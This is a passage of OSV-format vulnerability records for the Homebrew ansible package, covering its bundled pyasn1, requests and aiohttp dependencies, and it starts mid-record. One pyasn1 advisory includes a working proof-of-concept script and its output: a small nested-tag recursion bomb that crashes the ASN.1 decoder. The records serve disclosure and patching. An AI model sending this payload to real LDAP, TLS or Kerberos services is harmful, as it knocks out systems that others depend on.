40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  '0':  10.1%\n  '1':   9.9%\n  '2':  10.0%\n  '3':   9.9%\n  '4':   9.9%\n  '5':  10.0%\n  '6':  10.0%\n  '7':  10.0%\n  '8':   9.9%\n  '9':  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23490"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4148"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4147"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4146"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4145"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4144"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4143"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4142"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4141"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4140"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4139"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4138"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:39894"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3959"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3958"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2302"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:41928"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:42644"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4943"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:54757"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:5606"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-23490"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2430472"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-63vm-454h-vhhq"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"},{"type":"WEB","url":"https://pypi.org/project/pyasn1"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2300"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2299"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2221"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1906"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1905"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1904"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1903"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17611"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17595"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17446"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:14020"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13553"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13545"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13512"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13508"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3359"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3354"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:30088"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:28042"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2758"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24866"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2486"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2483"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2460"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2453"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24483"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24476"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2309"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2303"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-25645","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:12:57Z","upstream":["GHSA-gc5v-m9x4-r6x2","CVE-2026-25645","PYSEC-2026-2275"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.2"},{"fixed":"13.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.33.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests has Insecure Temp File Reuse in its extract_zipped_paths() utility function","details":"### Impact\nThe `requests.utils.extract_zipped_paths()` utility function uses a predictable filename when extracting files from zip archives into the system temporary directory. If the target file already exists, it is reused without validation. A local attacker with write access to the temp directory could pre-create a malicious file that would be loaded in place of the legitimate one.\n\n### Affected usages\n**Standard usage of the Requests library is not affected by this vulnerability.** Only applications that call `extract_zipped_paths()` directly are impacted.\n\n### Remediation\nUpgrade to at least Requests 2.33.0, where the library now extracts files to a non-deterministic location.\n\nIf developers are unable to upgrade, they can set `TMPDIR` in their environment to a directory with restricted write access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-gc5v-m9x4-r6x2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25645"},{"type":"WEB","url":"https://github.com/psf/requests/commit/66d21cb07bd6255b1280291c4fafb71803cdb3b7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.33.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-30922","published":"2026-08-13T16:35:22Z","modified":"2026-10-31T18:52:28Z","upstream":["GHSA-jr27-m4p2-rc6r","CVE-2026-30922","PYSEC-2026-2263"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.2"},{"fixed":"13.4.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.3","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.5","key":"pkg:pypi/pyasn1@0.6.5","resource":"pyasn1"}]},"summary":"Denial of Service in pyasn1 via Unbounded Recursion","details":"### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30922"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22970"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22987"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24761"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:41928"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6309"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:65126"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6568"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6720"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6912"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6926"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:8437"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-30922"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2448553"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:10184"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:12176"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13508"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13512"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13545"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13553"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13902"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13916"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13917"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:14020"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:16009"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17083"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17611"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19138"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19355"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19375"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:20588"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22131"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22132"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22133"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22134"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22135"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22969"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/03/20/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34513","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-hcc4-c3v8-rx92","CVE-2026-34513","PYSEC-2026-2095"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP Affected by Denial of Service (DoS) via Unbounded DNS Cache in TCPConnector","details":"### Summary\n\nAn unbounded DNS cache could result in excessive memory usage possibly resulting in a DoS situation.\n\n### Impact\n\nIf an application makes requests to a very large number of hosts, this could cause the DNS cache to continue growing and slowly use excessive amounts of memory.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c4d77c3533122be353b8afca8e8675e3b4cbda98","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hcc4-c3v8-rx92"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34513"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c4d77c3533122be353b8afca8e8675e3b4cbda98"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34514","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-2vrm-gr82-f7m5","CVE-2026-34514","PYSEC-2026-2096"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP has CRLF injection through multipart part content type header construction","details":"### Summary\n\nAn attacker who controls the `content_type` parameter in aiohttp could use this to inject extra headers or similar exploits.\n\n### Impact\n\nIf an application allows untrusted data to be used for the multipart `content_type` parameter when constructing a request, an attacker may be able to manipulate the request to send something other than what the developer intended.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/9a6ada97e2c6cf1ce31727c6c9fcea17c21f6f06","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2vrm-gr82-f7m5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34514"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9a6ada97e2c6cf1ce31727c6c9fcea17c21f6f06"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34515","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-p998-jp59-783m","CVE-2026-34515","PYSEC-2026-2097"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP affected by UNC SSRF/NTLMv2 Credential Theft/Local File Read in static resource handler on Windows","details":"### Summary\n\nOn Windows the static resource handler may expose information about a NTLMv2 remote path.\n\n### Impact\n\nIf an application is running on Windows, and using aiohttp's static resource handler (not recommended in production), then it may be possible for an attacker to extract the hash from an NTLMv2 path and then extract the user's credentials from there.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ae2aa076c84573df83fc1fdc39eec0f5862fe3d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-p998-jp59-783m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34515"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae2aa076c84573df83fc1fdc39eec0f5862fe3d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34516","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-m5qp-6w8w-w647","CVE-2026-34516","PYSEC-2026-2098"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP has a Multipart Header Size Bypass","details":"### Summary\n\nA response with an excessive number of multipart headers may be allowed to use more memory than intended, potentially allowing a DoS vulnerability.\n\n### Impact\n\nMultipart headers were not subject to the same size restrictions in place for normal headers, potentially allowing substantially more data to be loaded into memory than intended. However, other restrictions in place limit the impact of this vulnerability.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/8a74257b3804c9aac0bf644af93070f68f6c5a6f","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-m5qp-6w8w-w647"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34516"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8a74257b3804c9aac0bf644af93070f68f6c5a6f"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34517","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-3wq7-rqq7-wx6j","CVE-2026-34517","PYSEC-2026-2099"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP has late size enforcement for non-file multipart fields causes memory DoS","details":"### Summary\n\nFor some multipart form fields, aiohttp read the entire field into memory before checking client_max_size.\n\n### Impact\n\nIf an application uses `Request.post()` an attacker can send a specially crafted multipart request to force significant temporary memory allocation even when the request is ultimately rejected.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/cbb774f38330563422ca0c413a71021d7b944145","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-3wq7-rqq7-wx6j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34517"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/cbb774f38330563422ca0c413a71021d7b944145"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34518","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-966j-vmvw-g2g9","CVE-2026-34518","PYSEC-2026-2100"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP leaks Cookie and Proxy-Authorization headers on cross-origin redirect","details":"### Summary\n\nWhen following redirects to a different origin, aiohttp drops the Authorization header, but retains the Cookie and Proxy-Authorization headers.\n\n### Impact\n\nThe Cookie and Proxy-Authorizations headers could contain sensitive information which may be leaked to an unintended party after following a redirect.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/5351c980dcec7ad385730efdf4e1f4338b24fdb6","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-966j-vmvw-g2g9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34518"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5351c980dcec7ad385730efdf4e1f4338b24fdb6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34519","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-mwh4-6h8g-pg8w","CVE-2026-34519","PYSEC-2026-2101"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP has HTTP response splitting via \\r in reason phrase","details":"### Summary\n\nAn attacker who controls the `reason` parameter when creating a `Response` may be able to inject extra headers or similar exploits.\n\n### Impact\n\nIn the unlikely situation that an application allows untrusted data to be used in the response's `reason` parameter, then an attacker could manipulate the response to send something different from what the developer intended.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/53b35a2f8869c37a133e60bf1a82a1c01642ba2b","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mwh4-6h8g-pg8w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34519"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/53b35a2f8869c37a133e60bf1a82a1c01642ba2b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34520","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-63hf-3vf5-4wqf","CVE-2026-34520","PYSEC-2026-2102"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type"